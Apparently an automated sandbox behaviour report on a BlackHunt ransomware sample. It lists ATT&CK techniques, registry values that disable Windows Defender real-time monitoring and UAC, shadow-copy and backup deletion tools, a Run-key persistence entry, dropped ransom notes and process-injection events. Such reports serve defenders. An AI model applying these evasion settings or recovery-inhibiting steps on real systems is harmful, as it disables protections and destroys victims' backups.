15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa

Data Destruction

T1485

pid	Process
4108	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3484	bcdedit.exe
3172	bcdedit.exe

Renames multiple (1300) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
696	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\K:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\L:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\M:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\I:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\P:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\B:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\H:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\J:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\Y:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\U:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\T:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\A:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\X:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\Q:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\G:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\N:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\S:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\Z:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\V:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\E:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\R:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11cryptotoken.md	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\MakeAccessible.api	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_gridview_selected-hover.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sortedby_hover_18.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_filter-dark-focus_32.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\virgo-new-folder.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app-api\dev\app-api.js	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.log	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_CopyDrop32x32.gif	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\core\dev\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\splash_11-lic.gif	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_reportabuse-default_18.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Home.aapp	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_organize_18.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre-1.8\COPYRIGHT	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_splitter\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\app\dev\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\uk-ua\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_newfolder-default.svg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\classfile_constants.h	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\SendApprove.mht	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\info.gif	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4452	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4892	vssadmin.exe
2576	vssadmin.exe
1192	vssadmin.exe
2196	vssadmin.exe
2316	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeRestorePrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeBackupPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeTakeOwnershipPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeAuditPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeSecurityPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeIncBasePriorityPrivilege	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Token: SeBackupPrivilege	2064	vssvc.exe
Token: SeRestorePrivilege	2064	vssvc.exe
Token: SeAuditPrivilege	2064	vssvc.exe
Token: SeBackupPrivilege	1160	wbengine.exe
Token: SeRestorePrivilege	1160	wbengine.exe
Token: SeSecurityPrivilege	1160	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 1332	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	92
PID 2740 wrote to memory of 1332	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	92
PID 2740 wrote to memory of 1860	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	94
PID 2740 wrote to memory of 1860	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	94
PID 2740 wrote to memory of 4116	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	96
PID 2740 wrote to memory of 4116	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	96
PID 2740 wrote to memory of 3284	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	98
PID 2740 wrote to memory of 3284	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	98
PID 2740 wrote to memory of 4816	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	100
PID 2740 wrote to memory of 4816	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	100
PID 2740 wrote to memory of 2376	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	104
PID 2740 wrote to memory of 2376	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	104
PID 2740 wrote to memory of 3504	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	106
PID 2740 wrote to memory of 3504	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	106
PID 2740 wrote to memory of 3060	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	108
PID 2740 wrote to memory of 3060	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	108
PID 2740 wrote to memory of 700	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	111
PID 2740 wrote to memory of 700	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	111
PID 2740 wrote to memory of 4512	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	110
PID 2740 wrote to memory of 4512	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	110
PID 2740 wrote to memory of 3680	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	114
PID 2740 wrote to memory of 3680	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	114
PID 2740 wrote to memory of 3756	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	115
PID 2740 wrote to memory of 3756	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	115
PID 2740 wrote to memory of 4520	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	118
PID 2740 wrote to memory of 4520	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	118
PID 2740 wrote to memory of 1996	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	120
PID 2740 wrote to memory of 1996	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	120
PID 2740 wrote to memory of 2736	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	121
PID 2740 wrote to memory of 2736	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	121
PID 2740 wrote to memory of 5008	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	124
PID 2740 wrote to memory of 5008	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	124
PID 2740 wrote to memory of 4412	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	127
PID 2740 wrote to memory of 4412	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	127
PID 2740 wrote to memory of 4964	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	134
PID 2740 wrote to memory of 4964	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	134
PID 2740 wrote to memory of 5060	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	132
PID 2740 wrote to memory of 5060	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	132
PID 2740 wrote to memory of 3836	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	136
PID 2740 wrote to memory of 3836	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	136
PID 2740 wrote to memory of 4476	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	137
PID 2740 wrote to memory of 4476	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	137
PID 1332 wrote to memory of 2560	1332	cmd.exe	102
PID 1332 wrote to memory of 2560	1332	cmd.exe	102
PID 4116 wrote to memory of 2532	4116	cmd.exe	133
PID 4116 wrote to memory of 2532	4116	cmd.exe	133
PID 1860 wrote to memory of 2420	1860	cmd.exe	180
PID 1860 wrote to memory of 2420	1860	cmd.exe	180
PID 4816 wrote to memory of 3840	4816	cmd.exe	129
PID 4816 wrote to memory of 3840	4816	cmd.exe	129
PID 3284 wrote to memory of 3204	3284	cmd.exe	130
PID 3284 wrote to memory of 3204	3284	cmd.exe	130
PID 2376 wrote to memory of 4840	2376	cmd.exe	142
PID 2376 wrote to memory of 4840	2376	cmd.exe	142
PID 2740 wrote to memory of 4780	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	140
PID 2740 wrote to memory of 4780	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	140
PID 2740 wrote to memory of 1192	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	209
PID 2740 wrote to memory of 1192	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	209
PID 2740 wrote to memory of 2052	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	143
PID 2740 wrote to memory of 2052	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	143
PID 3504 wrote to memory of 4240	3504	cmd.exe	150
PID 3504 wrote to memory of 4240	3504	cmd.exe	150
PID 2740 wrote to memory of 4528	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	146
PID 2740 wrote to memory of 4528	2740	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
